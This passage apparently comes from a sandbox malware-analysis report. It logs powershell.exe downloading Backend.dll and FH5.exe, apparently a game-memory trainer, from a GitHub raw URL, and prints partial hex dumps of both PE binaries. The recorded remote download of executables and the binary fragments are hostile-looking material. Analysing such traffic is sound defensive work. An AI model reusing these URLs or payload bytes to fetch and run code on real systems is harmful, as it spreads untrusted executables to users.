20 30 78 30 30 2c 20 30 Data Ascii: , 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49769	185.199.110.133	443	7428	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 14:00:06 UTC	200	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/Backend.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com
2024-10-15 14:00:07 UTC	903	IN	HTTP/1.1 200 OK Connection: close Content-Length: 31744 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "bd4b192ae5469f45e129df181fc4929ee39a6dc957f48659a8b8da2b1d018ac5" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 12C4:3C9FB5:238FE3B:275B85C:670E7565 Accept-Ranges: bytes Date: Tue, 15 Oct 2024 14:00:07 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdfw8210120-DFW X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1729000807.990380,VS0,VE140 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 469a1d65fad5861e8ccf7bf345fe18f1d2ad5847 Expires: Tue, 15 Oct 2024 14:05:07 GMT Source-Age: 0
2024-10-15 14:00:07 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5a c7 bb 58 1e a6 d5 0b 1e a6 d5 0b 1e a6 d5 0b 17 de 46 0b 18 a6 d5 0b 4c d3 d0 0a 0e a6 d5 0b 4c d3 d1 0a 16 a6 d5 0b 4c d3 d6 0a 1d a6 d5 0b 4c d3 d4 0a 18 a6 d5 0b cd d4 d4 0a 1b a6 d5 0b 1e a6 d4 0b 59 a6 d5 0b ab d3 dc 0a 0e a6 d5 0b ab d3 d5 0a 1f a6 d5 0b ab d3 2a 0b 1f a6 d5 0b ab d3 d7 0a 1f a6 d5 0b 52 69 63 68 1e a6 d5 0b 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ZXFLLLLY*RichPEd
2024-10-15 14:00:07 UTC	1378	IN	Data Raw: 08 ff 15 c7 4e 00 00 48 8b 05 d0 6e 00 00 4c 8d 45 30 48 8b 55 30 41 b9 08 00 00 00 48 83 c2 50 48 8b 08 48 8d 45 38 48 89 44 24 20 48 8b 49 08 ff 15 98 4e 00 00 48 8b 05 a1 6e 00 00 4c 8d 45 30 48 8b 55 30 41 b9 08 00 00 00 48 81 c2 d0 00 00 00 48 8b 08 48 8d 45 38 48 89 44 24 20 48 8b 49 08 ff 15 66 4e 00 00 48 8b 05 6f 6e 00 00 4c 8d 45 30 48 8b 55 30 41 b9 08 00 00 00 48 83 c2 18 48 8b 08 48 8d 45 38 48 89 44 24 20 48 8b 49 08 ff 15 37 4e 00 00 48 8b 05 40 6e 00 00 4c 8d 45 30 48 8b 55 30 41 b9 08 00 00 00 48 83 c2 50 48 8b 08 48 8d 45 38 48 89 44 24 20 48 8b 49 08 ff 15 08 4e 00 00 48 8b 7d 30 85 db 74 31 48 8b 05 09 6e 00 00 48 8d 97 a8 00 00 00 89 5d 30 4c 8d 45 30 41 b9 04 00 00 00 48 8b 08 48 8d 45 38 48 89 44 24 20 48 8b 49 08 ff 15 af 4d 00 00 Data Ascii: NHnLE0HU0AHPHHE8HD$ HINHnLE0HU0AHHHE8HD$ HIfNHonLE0HU0AHHHE8HD$ HI7NH@nLE0HU0AHPHHE8HD$ HINH}0t1HnH]0LE0AHHE8HD$ HIM
2024-10-15 14:00:07 UTC	1378	IN	Data Raw: 10 00 00 72 18 4c 8b 41 f8 48 83 c2 27 49 2b c8 48 8d 41 f8 48 83 f8 1f 77 2f 49 8b c8 e8 32 32 00 00 48 8b 0b ba 10 00 00 00 48 89 33 48 89 73 10 48 89 73 08 48 8b 5c 24 30 48 8b 74 24 38 48 83 c4 20 5f e9 0b 32 00 00 ff 15 f5 4a 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 10 48 89 6c 24 18 56 57 41 57 48 83 ec 20 48 8b 69 18 49 8b f0 4c 8b fa 48 8b d9 4c 3b c5 77 21 48 8b f9 48 83 fd 10 72 03 48 8b 39 48 89 71 10 48 8b cf e8 57 3d 00 00 c6 04 37 00 e9 ef 00 00 00 48 bf ff ff ff ff ff ff ff 7f 48 3b f7 0f 87 f9 00 00 00 48 8b ce 4c 89 74 24 40 48 83 c9 0f 48 3b cf 77 3a 48 8b d5 48 8b c7 48 d1 ea 48 2b c2 48 3b e8 77 29 48 8d 04 2a 48 8b f9 48 3b c8 48 0f 42 f8 48 8d 47 01 48 3d 00 10 00 00 72 35 48 8d 48 27 48 3b c8 0f 86 b6 00 00 00 eb 0a Data Ascii: rLAH'I+HAHw/I22HH3HsHsH\$0Ht$8H _2JH\$Hl$VWAWH HiILHL;w!HHrH9HqHW=7HH;HLt$@HH;w:HHHH+H;w)H*HH;HBHGH=r5HH'H;
2024-10-15 14:00:07 UTC	1378	IN	Data Raw: ee 2c 00 00 90 41 b9 00 40 00 00 4d 8b 47 10 49 8b 57 08 49 8b 0f ff 15 be 43 00 00 ba 18 00 00 00 49 8b cf e8 c9 2c 00 00 90 4d 85 ed 74 36 4d 2b e5 49 8b c5 49 81 fc 00 10 00 00 72 1c 49 83 c4 27 4d 8b 6d f8 49 2b c5 48 83 c0 f8 48 83 f8 1f 76 07 ff 15 89 45 00 00 cc 49 8b d4 49 8b cd e8 8d 2c 00 00 48 8b 4d 27 48 33 cc e8 d9 28 00 00 4c 8d 9c 24 d0 00 00 00 49 8b 5b 30 49 8b 73 40 49 8b 7b 48 49 8b e3 41 5f 41 5e 41 5d 41 5c 5d c3 e8 93 22 00 00 90 cc cc 40 53 48 83 ec 20 48 8b d9 48 8b 09 48 85 c9 74 3a 48 8b 53 10 48 2b d1 48 81 fa 00 10 00 00 72 18 4c 8b 41 f8 48 83 c2 27 49 2b c8 48 8d 41 f8 48 83 f8 1f 77 1b 49 8b c8 e8 1a 2c 00 00 33 c0 48 89 03 48 89 43 08 48 89 43 10 48 83 c4 20 5b c3 ff 15 f1 44 00 00 cc cc cc cc cc cc cc cc cc 48 8b 15 c1 6b Data Ascii: ,A@MGIWICI,Mt6M+IIrI'MmI+HHvEII,HM'H3(L$I[0Is@I{HIA_A^A]A\]"@SH HHHt:HSH+HrLAH'I+HAHwI,3HHCHCH [DHk
2024-10-15 14:00:07 UTC	1378	IN	Data Raw: 8b c7 f0 0f c1 43 0c 83 f8 01 75 09 48 8b 03 48 8b cb ff 50 08 48 8b 05 a4 5e 00 00 48 85 c0 74 04 f0 ff 40 08 48 8b 05 8c 5e 00 00 48 89 05 55 67 00 00 48 8b 05 86 5e 00 00 48 8b 1d 4f 67 00 00 48 89 05 48 67 00 00 48 85 db 74 27 8b c7 f0 0f c1 43 08 83 f8 01 75 1b 48 8b 03 48 8b cb ff 10 f0 0f c1 7b 0c 83 ff 01 75 09 48 8b 03 48 8b cb ff 50 08 b0 01 eb 02 32 c0 48 8b 8c 24 80 01 00 00 48 33 cc e8 5e 23 00 00 4c 8d 9c 24 90 01 00 00 49 8b 5b 10 49 8b 73 18 49 8b e3 5f c3 cc cc cc cc cc cc cc cc cc 48 89 5c 24 18 55 56 57 41 56 41 57 48 81 ec 90 01 00 00 48 8b 05 c6 5d 00 00 48 33 c4 48 89 84 24 80 01 00 00 4c 8b f2 48 8b e9 48 8b 05 d6 5d 00 00 8b 30 33 d2 8d 4a 02 ff 15 f1 3d 00 00 48 8b d8 45 33 ff 48 c7 c7 ff ff ff ff 48 3b c7 0f 84 76 01 00 00 c7 44 Data Ascii: CuHHPH^Ht@H^HUgH^HOgHHgHt'CuHH{uHHP2H$H3^#L$I[IsI_H\$UVWAVAWHH]H3H$LHH]03J=HE3HH;vD
2024-10-15 14:00:07 UTC	1378	IN	Data Raw: 8b 01 48 8d 54 24 40 48 3b ca 0f 95 c2 ff 50 20 48 8b 8c 24 80 00 00 00 48 33 cc e8 66 1e 00 00 48 8b 9c 24 a0 00 00 00 48 81 c4 90 00 00 00 5f c3 cc cc cc cc cc 48 89 5c 24 08 48 89 74 24 10 48 89 7c 24 18 55 48 8d 6c 24 a9 48 81 ec d0 00 00 00 48 8b 05 cd 58 00 00 48 33 c4 48 89 45 47 48 8d 05 cf 3c 00 00 48 89 45 e7 c7 45 ef 47 01 86 01 c7 45 f3 53 01 2b 01 c7 45 f7 1f 01 47 01 c7 45 fb 86 01 73 01 c7 45 ff 2b 01 17 01 c7 45 03 5a 01 47 01 c7 45 07 82 01 63 01 c7 45 0b 2b 01 a6 01 c7 45 0f 47 01 8e 01 c7 45 13 e3 01 bf 01 c7 45 17 0f 01 0f 01 c7 45 1b 0f 01 3c 01 c7 45 1f d4 01 86 01 c7 45 23 52 01 68 01 c7 45 27 47 01 84 01 c7 45 2b 76 01 57 01 48 8b 1d 74 58 00 00 48 8d 55 b7 48 8d 4d e7 e8 47 08 00 00 90 48 8b 45 b7 48 8b 55 bf 48 3b c2 74 12 80 78 Data Ascii: HT$@H;P H$H3fH$H_H\$Ht$H\|$UHl$HHXH3HEGH<HEEGES+EGEsE+EZGEcE+EGEEE<EE#RhE'GE+vWHtXHUHMGHEHUH;tx
2024-10-15 14:00:07 UTC	1378	IN	Data Raw: 04 41 ff d0 90 48 8b 45 b7 48 8b 55 bf 48 3b c2 74 14 66 90 80 78 01 00 74 03 80 30 0f 48 83 c0 02 48 3b c2 75 ee 4c 8d 45 b7 48 8d 55 cf 48 8b cb e8 4e 11 00 00 90 48 8b 4d b7 48 85 c9 74 3b 48 8b 45 c7 48 2b c1 48 d1 f8 48 8d 14 00 48 8b c1 48 81 fa 00 10 00 00 72 1c 48 83 c2 27 48 8b 49 f8 48 2b c1 48 83 c0 f8 48 83 f8 1f 76 07 ff 15 47 35 00 00 cc e8 51 1c 00 00 48 8b 5d cf 48 8d 7b 08 48 8b 05 6a 53 00 00 48 8b 08 48 8d 45 d7 48 89 44 24 20 41 b9 04 00 00 00 4c 8d 45 cf 48 8b d7 48 8b 49 08 ff 15 37 33 00 00 48 63 4d cf 48 83 c1 04 48 03 cf 48 89 0d fd 5b 00 00 48 83 c3 57 48 89 1d 2a 5c 00 00 48 8d 86 80 64 00 00 48 89 45 e7 c7 45 ef 00 01 8a 01 c7 45 f3 c3 01 0f 01 c7 45 f7 0f 01 0f 01 c7 45 fb 47 01 84 01 48 c7 45 ff 32 01 00 00 c7 45 07 00 00 47 Data Ascii: AHEHUH;tfxt0HH;uLEHUHNHMHt;HEH+HHHHrH'HIH+HHvG5QH]H{HjSHHEHD$ ALEHHI73HcMHHH[HWH*\HdHEEEEEGHE2EG
2024-10-15 14:00:07 UTC	1378	IN	Data Raw: 18 4c 89 64 24 20 55 41 56 41 57 48 8b ec 48 83 ec 70 48 8b 05 49 4e 00 00 48 33 c4 48 89 45 f0 48 83 3d a2 57 00 00 00 0f 85 ce 04 00 00 0f 57 c9 f3 0f 7f 4d c8 45 33 e4 4c 89 65 d8 c7 45 e0 55 48 89 e5 c7 45 e4 48 83 ec 20 41 8d 54 24 08 48 8d 4d c8 e8 49 0f 00 00 48 8d 7d e0 48 8b 75 d8 48 8b 5d d0 48 3b de 74 0e 0f b6 07 88 03 48 ff c3 48 89 5d d0 eb 17 4c 8b c7 48 8b d3 48 8d 4d c8 e8 3b 0d 00 00 48 8b 75 d8 48 8b 5d d0 48 ff c7 48 8d 45 e8 48 3b f8 75 ca 66 c7 45 e0 48 b8 48 8b 05 ea 56 00 00 48 89 45 e2 48 8b c6 48 2b 45 c8 48 83 f8 0a 73 16 ba 0a 00 00 00 48 8d 4d c8 e8 db 0e 00 00 48 8b 75 d8 48 8b 5d d0 48 8d 7d e0 48 3b de 74 0e 0f b6 07 88 03 48 ff c3 48 89 5d d0 eb 17 4c 8b c7 48 8b d3 48 8d 4d c8 e8 cd 0c 00 00 48 8b 75 d8 48 8b 5d d0 48 ff Data Ascii: Ld$ UAVAWHHpHINH3HEH=WWME3LeEUHEH AT$HMIH}HuH]H;tHH]LHHM;HuH]HHEH;ufEHHVHEHH+EHsHMHuH]H}H;tHH]LHHMHuH]H
2024-10-15 14:00:07 UTC	1378	IN	Data Raw: 83 3d 59 52 00 00 00 0f 84 15 04 00 00 48 83 3d 53 52 00 00 00 74 51 48 8b 05 12 49 00 00 48 8b 08 48 8d 45 17 48 89 44 24 20 41 b9 1a 00 00 00 4c 8d 45 27 48 8b 15 f5 51 00 00 48 8b 49 08 ff 15 db 28 00 00 41 b8 1a 00 00 00 48 8d 15 ee 48 00 00 48 8d 4d 27 e8 3c 1d 00 00 85 c0 0f 95 c0 84 c0 0f 85 ba 03 00 00 e8 23 fa ff ff 48 8b 0d dc 51 00 00 48 ff c9 48 23 0d da 51 00 00 48 8b 05 c3 51 00 00 48 8b 14 c8 45 33 f6 4c 89 75 f7 4c 89 75 07 4c 89 75 0f 0f 10 02 0f 11 45 f7 0f 10 4a 10 0f 11 4d 07 4c 89 72 10 48 c7 42 18 0f 00 00 00 44 88 32 48 8b 0d 93 51 00 00 48 ff c9 48 23 0d 91 51 00 00 48 8b 05 7a 51 00 00 48 8b 1c c8 48 8b 53 18 48 83 fa 10 72 30 48 8b 0b 48 ff c2 48 81 fa 00 10 00 00 72 1c 48 83 c2 27 4c 8b 41 f8 49 2b c8 48 8d 41 f8 48 83 f8 1f 0f Data Ascii: =YRH=SRtQHIHHEHD$ ALE'HQHI(AHHHM'<#HQHH#QHQHE3LuLuLuEJMLrHBD2HQHH#QHzQHHSHr0HHHrH'LAI+HAH
2024-10-15 14:00:07 UTC	1378	IN	Data Raw: 48 8b cf e8 39 18 00 00 48 8b 15 d7 4c 00 00 48 03 df 48 8b cb 4c 3b fd 77 25 4d 8b c6 e8 1f 18 00 00 4c 8b c5 49 8d 0c 1e 4d 2b c7 33 d2 49 c1 e0 03 e8 99 16 00 00 4d 8b c6 48 8b ce eb 34 48 8d 3c ed 00 00 00 00 4c 8b c7 e8 f2 17 00 00 48 8b 05 90 4c 00 00 48 8b ce 49 8d 1c 06 48 8d 14 07 48 2b da 4c 8b c3 e8 d5 17 00 00 48 8d 0c 33 4c 8b c7 33 d2 e8 56 16 00 00 48 8b 0d 65 4c 00 00 4c 8b 74 24 28 48 8b 7c 24 30 48 8b 5c 24 40 48 85 c9 74 35 48 8b 05 52 4c 00 00 48 8d 14 c5 00 00 00 00 48 81 fa 00 10 00 00 72 18 4c 8b 41 f8 48 83 c2 27 49 2b c8 48 8d 41 f8 48 83 f8 1f 77 2a 49 8b c8 e8 dc 0b 00 00 48 01 2d 1d 4c 00 00 48 8b 6c 24 48 4c 8b 7c 24 20 48 89 35 04 4c 00 00 48 8b 74 24 50 48 83 c4 38 c3 ff 15 a4 24 00 00 cc e8 96 d6 ff ff cc e8 10 00 00 00 cc Data Ascii: H9HLHHL;w%MLIM+3IMH4H<LHLHIHH+LH3L3VHeLLt$(H\|$0H\$@Ht5HRLHHrLAH'I+HAHw*IH-LHl$HL\|$ H5LHt$PH8$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49774	185.199.110.133	443	7428	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 14:00:08 UTC	196	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/FH5.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com
2024-10-15 14:00:08 UTC	903	IN	HTTP/1.1 200 OK Connection: close Content-Length: 56320 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "fbd9a681f4acce63a6718a2c29c8db9ab29a56e7e684d03951f580344762e00e" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 8F93:1FAF94:230D314:26D8CBF:670E7565 Accept-Ranges: bytes Date: Tue, 15 Oct 2024 14:00:08 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdal2120106-DFW X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1729000808.156831,VS0,VE179 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: be78787e065e4227f0a8f309434b64e83291349e Expires: Tue, 15 Oct 2024 14:05:08 GMT Source-Age: 0
2024-10-15 14:00:08 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 9d f8 f7 ed 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 30 00 00 86 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 01 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd"0T @ `@@
2024-10-15 14:00:08 UTC	1378	IN	Data Raw: 00 0a 28 07 00 00 06 2a a6 02 7b 04 00 00 04 6f 25 00 00 0a 2c 16 02 7b 05 00 00 04 6f 36 00 00 0a 28 37 00 00 0a 28 08 00 00 06 2a 28 09 00 00 06 2a 8e 02 7b 04 00 00 04 6f 25 00 00 0a 2c 15 02 7b 05 00 00 04 6f 36 00 00 0a 28 37 00 00 0a 28 08 00 00 06 2a 46 02 7b 13 00 00 04 6f 38 00 00 0a 28 0c 00 00 06 2a 5a 02 7b 16 00 00 04 6f 36 00 00 0a 28 37 00 00 0a 28 0a 00 00 06 2a 1a 28 0b 00 00 06 2a 7a 03 2c 13 02 7b 01 00 00 04 2c 0b 02 7b 01 00 00 04 6f 31 00 00 0a 02 03 28 39 00 00 0a 2a 00 13 30 05 00 2c 0d 00 00 04 00 00 11 02 73 3a 00 00 0a 7d 01 00 00 04 d0 03 00 00 02 28 3b 00 00 0a 73 3c 00 00 0a 0a 02 73 3d 00 00 0a 7d 02 00 00 04 02 73 3e 00 00 0a 7d 03 00 00 04 02 73 3f 00 00 0a 7d 04 00 00 04 02 73 40 00 00 0a 7d 05 00 00 04 02 73 41 00 00 0a Data Ascii: ({o%,{o6(7(({o%,{o6(7(F{o8(Z{o6(7((z,{,{o1(90,s:}(;s<s=}s>}s?}s@}sA
2024-10-15 14:00:08 UTC	1378	IN	Data Raw: 02 7b 07 00 00 04 72 ab 01 00 70 6f 4d 00 00 0a 02 7b 07 00 00 04 20 0d 01 00 00 20 98 00 00 00 73 4e 00 00 0a 6f 1e 00 00 0a 02 7b 07 00 00 04 18 6f 50 00 00 0a 02 7b 07 00 00 04 16 6f 5e 00 00 0a 02 7b 07 00 00 04 72 bf 01 00 70 6f 51 00 00 0a 02 7b 15 00 00 04 20 83 00 00 00 1f 73 73 4b 00 00 0a 6f 4c 00 00 0a 02 7b 15 00 00 04 72 c9 01 00 70 6f 4d 00 00 0a 02 7b 15 00 00 04 20 82 00 00 00 1f 17 73 4e 00 00 0a 6f 1e 00 00 0a 02 7b 15 00 00 04 1f 0a 6f 50 00 00 0a 02 7b 15 00 00 04 72 db 01 00 70 6f 51 00 00 0a 02 7b 15 00 00 04 17 6f 55 00 00 0a 02 7b 15 00 00 04 02 fe 06 1d 00 00 06 73 56 00 00 0a 6f 5f 00 00 0a 02 7b 16 00 00 04 1c 1f 73 73 4b 00 00 0a 6f 4c 00 00 0a 02 7b 16 00 00 04 1a 8d 44 00 00 01 25 16 20 ff c9 9a 3b 9e 73 58 00 00 0a 6f 59 00 Data Ascii: {rpoM{ sNo{oP{o^{rpoQ{ ssKoL{rpoM{ sNo{oP{rpoQ{oU{sVo_{ssKoL{D% ;sXoY
2024-10-15 14:00:08 UTC	1378	IN	Data Raw: 00 0a 02 7b 10 00 00 04 72 af 03 00 70 6f 4d 00 00 0a 02 7b 10 00 00 04 20 ac 00 00 00 1f 31 73 4e 00 00 0a 6f 1e 00 00 0a 02 7b 10 00 00 04 1f 0a 6f 50 00 00 0a 02 7b 10 00 00 04 16 6f 5e 00 00 0a 02 7b 10 00 00 04 72 c3 03 00 70 6f 51 00 00 0a 02 7b 11 00 00 04 17 6f 54 00 00 0a 02 7b 11 00 00 04 1c 1f 13 73 4b 00 00 0a 6f 4c 00 00 0a 02 7b 11 00 00 04 72 cd 03 00 70 6f 4d 00 00 0a 02 7b 11 00 00 04 20 9d 00 00 00 1f 11 73 4e 00 00 0a 6f 1e 00 00 0a 02 7b 11 00 00 04 16 6f 50 00 00 0a 02 7b 11 00 00 04 72 e7 03 00 70 6f 51 00 00 0a 02 7b 11 00 00 04 17 6f 55 00 00 0a 02 7b 08 00 00 04 02 fe 06 13 00 00 06 73 56 00 00 0a 6f 65 00 00 0a 02 7b 0a 00 00 04 1f 0a 6f 66 00 00 0a 02 7b 0a 00 00 04 02 fe 06 16 00 00 06 73 56 00 00 0a 6f 65 00 00 0a 02 7b 0c 00 Data Ascii: {rpoM{ 1sNo{oP{o^{rpoQ{oT{sKoL{rpoM{ sNo{oP{rpoQ{oU{sVoe{of{sVoe{
2024-10-15 14:00:08 UTC	1378	IN	Data Raw: 0f 0c 0a 00 dd 0d 0f 0c 06 00 ee 0b 53 08 0a 00 e3 0b 0f 0c 12 00 bb 05 3a 06 06 00 35 02 53 08 06 00 25 08 d4 00 06 00 30 08 d4 00 0e 00 12 0a c0 07 06 00 77 08 53 08 06 00 86 03 53 08 0a 00 e5 0a 0f 0c 0e 00 c2 03 43 0a 06 00 d9 03 09 0b 06 00 99 03 3b 0b 06 00 1b 0a 5b 0b 06 00 89 09 db 08 0e 00 71 03 c0 07 0e 00 0a 04 c0 07 0e 00 4b 03 c6 08 0a 00 45 08 0f 0c 0a 00 1d 08 0f 0c 06 00 07 06 53 08 06 00 f9 0a 53 08 06 00 60 06 d4 00 06 00 05 03 d4 00 06 00 77 02 d4 00 06 00 36 08 d4 00 06 00 a2 02 53 08 06 00 7f 07 53 08 0a 00 19 08 0f 0c 0e 00 9e 0a c0 07 06 00 13 03 53 08 06 00 ae 02 53 08 0e 00 c0 05 c0 07 0a 00 a9 09 0f 0c 0a 00 14 09 0f 0c 12 00 4f 0d 3a 06 0a 00 40 03 0f 0c 06 00 36 0a 53 08 06 00 48 00 53 08 c7 00 02 09 00 00 77 00 2c 09 00 00 12 Data Ascii: S:5S%0wSSC;[qKESS`w6SSSSO:@6SHSw,
2024-10-15 14:00:08 UTC	1378	IN	Data Raw: 55 0d 00 00 01 00 55 0d 00 00 01 00 55 0d 00 00 01 00 80 02 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 f7 09 00 00 02 00 e9 05 00 00 01 00 30 06 00 00 01 00 00 0b 00 00 01 00 04 0b 00 00 02 00 37 02 00 00 01 00 9b 08 00 00 01 00 7a 05 09 00 ec 0a 01 00 11 00 ec 0a 06 00 19 00 ec 0a 0a 00 29 00 ec 0a 10 00 31 00 ec 0a 10 00 39 Data Ascii: UUU07z)19
2024-10-15 14:00:08 UTC	1378	IN	Data Raw: 03 00 04 80 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 65 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 7a 01 3b 01 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 7a 01 0f 0c 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 7a 01 53 08 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 83 01 3a 06 00 00 00 00 00 00 00 00 01 00 00 00 6c 0b 00 00 78 4e 00 00 01 00 00 00 82 0b 00 00 00 00 00 00 00 61 31 00 74 6f 6f 6c 53 74 72 69 70 53 74 61 74 75 73 4c 61 62 65 6c 31 00 66 6c 6f 77 4c 61 79 6f 75 74 50 61 6e 65 6c 31 00 46 6f 72 6d 31 00 73 74 61 74 75 73 53 74 72 69 70 31 00 67 72 6f 75 70 42 6f 78 31 00 49 6e 74 33 32 00 61 32 00 67 72 6f 75 70 42 6f 78 32 00 67 72 6f 75 70 42 6f 78 33 00 53 74 61 6e 64 20 66 6f 72 20 46 48 35 00 3c 4d 6f 64 75 6c 65 3e Data Ascii: ez;zzS:lxNa1toolStripStatusLabel1flowLayoutPanel1Form1statusStrip1groupBox1Int32a2groupBox2groupBox3Stand for FH5<Module>
2024-10-15 14:00:08 UTC	1378	IN	Data Raw: 70 69 6c 61 74 69 6f 6e 52 65 6c 61 78 61 74 69 6f 6e 73 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 50 72 6f 64 75 63 74 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 43 6f 70 79 72 69 67 68 74 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 43 6f 6d 70 61 6e 79 41 74 74 72 69 62 75 74 65 00 52 75 6e 74 69 6d 65 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 41 74 74 72 69 62 75 74 65 00 67 65 74 5f 56 61 6c 75 65 00 73 65 74 5f 56 61 6c 75 65 00 76 61 6c 75 65 00 53 74 61 6e 64 20 66 6f 72 20 46 48 35 2e 65 78 65 00 67 65 74 5f 53 69 7a 65 00 73 65 74 5f 53 69 7a 65 00 73 65 74 5f 41 75 74 6f 53 69 7a 65 00 73 65 74 5f 43 6c 69 65 6e 74 53 69 7a 65 00 49 53 75 70 70 6f 72 74 49 6e 69 74 69 61 6c 69 7a 65 00 46 6f 72 6d 31 5f 52 65 73 69 Data Ascii: pilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeRuntimeCompatibilityAttributeget_Valueset_ValuevalueStand for FH5.exeget_Sizeset_Sizeset_AutoSizeset_ClientSizeISupportInitializeForm1_Resi
2024-10-15 14:00:08 UTC	1378	IN	Data Raw: 65 72 00 53 79 73 74 65 6d 2e 43 6f 64 65 44 6f 6d 2e 43 6f 6d 70 69 6c 65 72 00 70 61 74 74 65 72 6e 73 63 61 6e 54 69 6d 65 72 00 6d 61 69 6e 6c 6f 6f 70 54 69 6d 65 72 00 70 72 6f 63 65 73 73 57 61 69 74 54 69 6d 65 72 00 70 72 6f 63 65 73 73 53 74 61 72 74 54 69 6d 65 72 00 49 43 6f 6e 74 61 69 6e 65 72 00 67 65 74 53 70 69 6e 53 75 70 65 72 00 73 65 74 5f 55 73 65 56 69 73 75 61 6c 53 74 79 6c 65 42 61 63 6b 43 6f 6c 6f 72 00 67 65 74 5f 43 75 72 73 6f 72 00 53 65 74 53 79 73 74 65 6d 43 75 72 73 6f 72 00 2e 63 74 6f 72 00 2e 63 63 74 6f 72 00 49 6e 74 50 74 72 00 73 74 72 00 68 63 75 72 00 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 00 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 00 53 79 73 74 Data Ascii: 